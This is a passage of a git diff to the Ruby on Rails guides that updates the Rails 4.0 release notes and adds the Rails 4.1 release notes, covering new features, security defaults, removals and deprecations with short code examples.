-------------------------------- ``` - You should have the 'rails' rubygem installed + You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -51,23 +55,61 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev Major Features -------------- -TODO. Give a list and then talk about each of them briefly. We can point to relevant code commits or documentation from these sections. +[](http://guides.rubyonrails.org/images/rails4_features.png) + +### Upgrade + + * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required + * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. + * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. + * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. + * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. + * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. + * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. + * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems. + +### ActionPack + + * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`). + * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). + * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. + * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation + * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. + * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. + * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. + * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. + +### General + + * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`) + * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables. + * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file. + * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important. + * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store. + * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers. + * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe. + * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources. + +### Security - + * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. + * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. + * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). Extraction of features to gems --------------------------- In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back. -* Hash-based & Dynamic finder methods ([Github](https://github.com/rails/activerecord-deprecated_finders)) -* Mass assignment protection in Active Record models ([Github](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) -* ActiveRecord::SessionStore ([Github](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) -* Active Record Observers ([Github](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) -* Active Resource ([Github](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) -* Action Caching ([Github](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Page Caching ([Github](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) -* Sprockets ([Github](https://github.com/rails/sprockets-rails)) +* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders)) +* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) +* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) +* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) +* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) +* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Sprockets ([GitHub](https://github.com/rails/sprockets-rails)) +* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876)) Documentation ------------- @@ -79,14 +121,20 @@ Documentation Railties -------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes. ### Notable changes -* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) +* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) + +* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`. * Threadsafe on by default +* Ability to use a custom builder by passing `--builder` (or `-b`) to + `rails new` has been removed. Consider using application templates + instead. ([Pull Request](https://github.com/rails/rails/pull/9401)) + ### Deprecations * `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded. @@ -96,7 +144,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt Action Mailer ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actionmailer/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes. ### Notable changes @@ -105,48 +153,62 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/actio Active Model ------------ -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activemodel/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes. ### Notable changes -* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. +* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. -* Added `ActiveModel::Model`, a mixin to make Ruby objects work with AP out of box. +* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box. ### Deprecations Active Support -------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activesupport/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes. ### Notable changes -* Replace deprecated `memcache-client` gem with `dalli` in ActiveSupport::Cache::MemCacheStore. +* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. + +* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. + +* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. -* Optimize ActiveSupport::Cache::Entry to reduce memory and processing overhead. +* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. -* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. +* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` + when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: -* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. + ``` + # ActiveSupport 3.x + "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass + "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass + + # ActiveSupport 4 + "asdf".to_date # => ArgumentError: invalid date + "333".to_date # => Fri, 29 Nov 2013 + ``` ### Deprecations -* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. +* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead. -* ActiveSupport::Benchmarkable#silence has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. +* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. -* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. +* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. -* Deprecates the compatibility method Module#local_constant_names, use Module#local_constants instead (which returns symbols). +* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols). -* BufferedLogger is deprecated. Use ActiveSupport::Logger, or the logger from Ruby stdlib. +* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library. +* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` Action Pack ----------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes. ### Notable changes @@ -158,64 +220,60 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railt Active Record ------------- -Please refer to the [Changelog](https://github.com/rails/rails/blob/master/railties/CHANGELOG.md) for detailed changes. +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes. ### Notable changes -* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. +* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given. The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible). The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default` * New method `reversible` makes it possible to specify code to be run when migrating up or down. - See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method) + See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible) * New method `revert` will revert a whole migration or the given block. If migrating down, the given migration / block is run normally. - See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations) - -* Adds some metadata columns to `schema_migrations` table. + See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations) - * `migrated_at` - * `fingerprint` - an md5 hash of the migration. - * `name` - the filename minus version and extension. +* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. -* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. +* Add `Relation#load` to explicitly load the record and return `self`. -* Add `Relation#load` to explicitly load the record and return `self`. +* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. -* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. +* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. -* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. - -* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: +* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: store :settings, accessors: [ :color, :homepage ], coder: JSON -* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`. +* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`. + +* Remove IdentityMap. -* Remove IdentityMap. +* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed. -* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. +* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. -* Added `create_join_table` migration helper to create HABTM join tables. +* Added `create_join_table` migration helper to create HABTM join tables. -* Allows PostgreSQL hstore records to be created. +* Allows PostgreSQL hstore records to be created. ### Deprecations -* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. +* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. -* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's - how you can rewrite the code: +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's + how you can rewrite the code: * `find_all_by_...` can be rewritten using `where(...)`. * `find_last_by_...` can be rewritten using `where(...).last`. * `scoped_by_...` can be rewritten using `where(...)`. - * `find_or_initialize_by_...` can be rewritten using `where(...).first_or_initialize`. - * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)` or `where(...).first_or_create`. - * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)` or `where(...).first_or_create!`. + * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. + * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. + * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. Credits ------- diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..dbc151c0ca --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,732 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Spring application preloader +* `config/secrets.yml` +* Action Pack variants +* Action Mailer previews + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Spring Application Preloader + +Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration. + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage of preloaded +spring environments. + +**Running rake tasks:** + +``` +bin/rake test:models +``` + +**Running a Rails command:** + +``` +bin/rails console +``` + +**Spring introspection:** + +``` +$ bin/spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/rails/spring/blob/master/README.md) to +see all available features. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) +guide on how to migrate existing applications to use this feature. + +### `config/secrets.yml` + +Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, +this file contains the application's `secret_key_base`, but it could also be +used to store other secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + +```yaml +development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY +``` + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) +guide on how to migrate existing applications to use this feature. + +### Action Pack Variants + +We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a `before_action`: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +You can also simplify the variants definition using the inline syntax: + +```ruby +respond_to do |format| + format.js { render "trash" } + format.html.phone { redirect_to progress_path } + format.html.none { render "trash" } +end +``` + +### Action Mailer Previews + +Action Mailer previews provide a way to see how emails look by visiting +a special URL that renders them. + +You implement a preview class whose methods return the mail object you'd like +to check: + +```ruby +class NotifierPreview < ActionMailer::Preview + def welcome + Notifier.welcome(User.first) + end +end +``` + +The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers. + +By default, these preview classes live in `test/mailers/previews`. +This can be configured using the `preview_path` option. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails) +for a detailed write up. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archived! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations + +Conversation.statuses # => { "active" => 0, "archived" => 1 } +``` + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) +for a detailed write up. + +### Message Verifiers + +Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends. + +The method `Rails.application.message_verifier` returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name: + +```ruby +signed_token = Rails.application.message_verifier(:remember_me).generate(token) +Rails.application.message_verifier(:remember_me).verify(signed_token) # => token + +Rails.application.message_verifier(:remember_me).verify(tampered_token) +# raises ActiveSupport::MessageVerifier::InvalidSignature +``` + +### Module#concerning + +A natural, low-ceremony way to separate responsibilities within a class: + +```ruby +class Todo < ActiveRecord::Base + concerning :EventTracking do + included do + has_many :events + end + + def latest_event + ... + end + + private + def some_internal_method + ... + end + end +end +``` + +This example is equivalent to defining a `EventTracking` module inline, +extending it with `ActiveSupport::Concern`, then mixing it in to the +`Todo` class. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) +for a detailed write up and the intended use cases. + +### CSRF protection from remote `<script>` tags + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means any of your tests that hit `.js` URLs will now fail CSRF protection +unless they use `xhr`. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit +`xhr :post, :create, format: :js`. + + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated `threadsafe!` from Rails Config. + +* Removed deprecated `ActiveRecord::Generators::ActiveModel#update_attributes` in + favor of `ActiveRecord::Generators::ActiveModel#update`. + +* Removed deprecated `config.whiny_nils` option. + +* Removed deprecated rake tasks for running tests: `rake test:uncommitted` and + `rake test:recent`. + +### Notable changes + +* The [Spring application + preloader](https://github.com/rails/spring) is now installed + by default for new applications. It uses the development group of + the Gemfile, so will not be installed in + production. ([Pull Request](https://github.com/rails/rails/pull/12958)) + +* `BACKTRACE` environment variable to show unfiltered backtraces for test + failures. ([Commit](https://github.com/rails/rails/commit/84eac5dab8b0fe9ee20b51250e52ad7bfea36553)) + +* Exposed `MiddlewareStack#unshift` to environment + configuration. ([Pull Request](https://github.com/rails/rails/pull/12479)) + +* Added `Application#message_verifier` method to return a message + verifier. ([Pull Request](https://github.com/rails/rails/pull/12995)) + +* The `test_help.rb` file which is required by the default generated test + helper will automatically keep your test database up-to-date with + `db/schema.rb` (or `db/structure.sql`). It raises an error if + reloading the schema does not resolve all pending migrations. Opt out + with `config.active_record.maintain_test_schema = false`. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Introduce `Rails.gem_version` as a convenience method to return + `Gem::Version.new(Rails.version)`, suggesting a more reliable way to perform + version comparison. ([Pull Request](https://github.com/rails/rails/pull/14103)) + + +Action Pack +----------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionpack/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated Rails application fallback for integration testing, set + `ActionDispatch.test_app` instead. + +* Removed deprecated `page_cache_extension` config. + +* Removed deprecated `ActionController::RecordIdentifier`, use + `ActionView::RecordIdentifier` instead. + +* Removed deprecated constants from Action Controller: + + | Removed | Successor | + |:-----------------------------------|:--------------------------------| + | ActionController::AbstractRequest | ActionDispatch::Request | + | ActionController::Request | ActionDispatch::Request | + | ActionController::AbstractResponse | ActionDispatch::Response | + | ActionController::Response | ActionDispatch::Response | + | ActionController::Routing | ActionDispatch::Routing | + | ActionController::Integration | ActionDispatch::Integration | + | ActionController::IntegrationTest | ActionDispatch::IntegrationTest | + +### Notable changes + +* `protect_from_forgery` also prevents cross-origin `<script>` tags. + Update your tests to use `xhr :get, :foo, format: :js` instead of + `get :foo, format: :js`. + ([Pull Request](https://github.com/rails/rails/pull/13345)) + +* `#url_for` takes a hash with options inside an + array. ([Pull Request](https://github.com/rails/rails/pull/9599)) + +* Added `session#fetch` method fetch behaves similarly to + [Hash#fetch](http://www.ruby-doc.org/core-1.9.3/Hash.html#method-i-fetch), + with the exception that the returned value is always saved into the + session. ([Pull Request](https://github.com/rails/rails/pull/12692)) + +* Separated Action View completely from Action + Pack. ([Pull Request](https://github.com/rails/rails/pull/11032)) + +* Log which keys were affected by deep + munge. ([Pull Request](https://github.com/rails/rails/pull/13813)) + +* New config option `config.action_dispatch.perform_deep_munge` to opt out of + params "deep munging" that was used to address security vulnerability + CVE-2013-0155. ([Pull Request](https://github.com/rails/rails/pull/13188)) + +* New config option `config.action_dispatch.cookies_serializer` for specifying a + serializer for the signed and encrypted cookie jars. (Pull Requests + [1](https://github.com/rails/rails/pull/13692), + [2](https://github.com/rails/rails/pull/13945) / + [More Details](upgrading_ruby_on_rails.html#cookies-serializer)) + +* Added `render :plain`, `render :html` and `render + :body`. ([Pull Request](https://github.com/rails/rails/pull/14062) / + [More Details](upgrading_ruby_on_rails.html#rendering-content-from-string)) + + +Action Mailer +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/actionmailer/CHANGELOG.md) +for detailed changes. + +### Notable changes + +* Added mailer previews feature based on 37 Signals mail_view + gem. ([Commit](https://github.com/rails/rails/commit/d6dec7fcb6b8fddf8c170182d4fe64ecfc7b2261)) + +* Instrument the generation of Action Mailer messages. The time it takes to + generate a message is written to the log. ([Pull Request](https://github.com/rails/rails/pull/12556)) + + +Active Record +------------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/activerecord/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed deprecated nil-passing to the following `SchemaCache` methods: + `primary_keys`, `tables`, `columns` and `columns_hash`. + +* Removed deprecated block filter from `ActiveRecord::Migrator#migrate`. + +* Removed deprecated String constructor from `ActiveRecord::Migrator`. + +* Removed deprecated `scope` use without passing a callable object. + +* Removed deprecated `transaction_joinable=` in favor of `begin_transaction` + with a `:joinable` option. + +* Removed deprecated `decrement_open_transactions`. + +* Removed deprecated `increment_open_transactions`. + +* Removed deprecated `PostgreSQLAdapter#outside_transaction?` + method. You can use `#transaction_open?` instead. + +* Removed deprecated `ActiveRecord::Fixtures.find_table_name` in favor of + `ActiveRecord::Fixtures.default_fixture_model_name`. + +* Removed deprecated `columns_for_remove` from `SchemaStatements`. + +* Removed deprecated `SchemaStatements#distinct`. + +* Moved deprecated `ActiveRecord::TestCase` into the Rails test + suite. The class is no longer public and is only used for internal + Rails tests. + +* Removed support for deprecated option `:restrict` for `:dependent` + in associations. + +* Removed support for deprecated `:delete_sql`, `:insert_sql`, `:finder_sql` + and `:counter_sql` options in associations. + +* Removed deprecated method `type_cast_code` from Column. + +* Removed deprecated `ActiveRecord::Base#connection` method. + Make sure to access it via the class. + +* Removed deprecation warning for `auto_explain_threshold_in_seconds`. + +* Removed deprecated `:distinct` option from `Relation#count`. + +* Removed deprecated methods `partial_updates`, `partial_updates?` and + `partial_updates=`. + +* Removed deprecated method `scoped`. + +* Removed deprecated method `default_scopes?`. + +* Remove implicit join references that were deprecated in 4.0. + +* Removed `activerecord-deprecated_finders` as a dependency. + Please see [the gem README](https://github.com/rails/activerecord-deprecated_finders#active-record-deprecated-finders) + for more info. + +* Removed usage of `implicit_readonly`. Please use `readonly` method + explicitly to mark records as + `readonly`. ([Pull Request](https://github.com/rails/rails/pull/10769)) + +### Deprecations + +* Deprecated `quoted_locking_column` method, which isn't used anywhere. + +* Deprecated `ConnectionAdapters::SchemaStatements#distinct`, + as it is no longer used by internals. ([Pull Request](https://github.com/rails/rails/pull/10556)) + +* Deprecated `rake db:test:*` tasks as the test database is now + automatically maintained. See railties release notes. ([Pull + Request](https://github.com/rails/rails/pull/13528)) + +* Deprecate unused `ActiveRecord::Base.symbolized_base_class` + and `ActiveRecord::Base.symbolized_sti_name` without + replacement. [Commit](https://github.com/rails/rails/commit/97e7ca48c139ea5cce2fa9b4be631946252a1ebd) + +### Notable changes + +* Default scopes are no longer overridden by chained conditions. + + Before this change when you defined a `default_scope` in a model + it was overridden by chained conditions in the same field. Now it + is merged like any other scope. [More Details](upgrading_ruby_on_rails.html#changes-on-default-scopes). + +* Added `ActiveRecord::Base.to_param` for convenient "pretty" URLs derived from + a model's attribute or + method. ([Pull Request](https://github.com/rails/rails/pull/12891)) + +* Added `ActiveRecord::Base.no_touching`, which allows ignoring touch on + models. ([Pull Request](https://github.com/rails/rails/pull/12772)) + +* Unify boolean type casting for `MysqlAdapter` and `Mysql2Adapter`. + `type_cast` will return `1` for `true` and `0` for `false`. ([Pull Request](https://github.com/rails/rails/pull/12425)) + +* `.unscope` now removes conditions specified in + `default_scope`. ([Commit](https://github.com/rails/rails/commit/94924dc32baf78f13e289172534c2e71c9c8cade)) + +* Added `ActiveRecord::QueryMethods#rewhere` which will 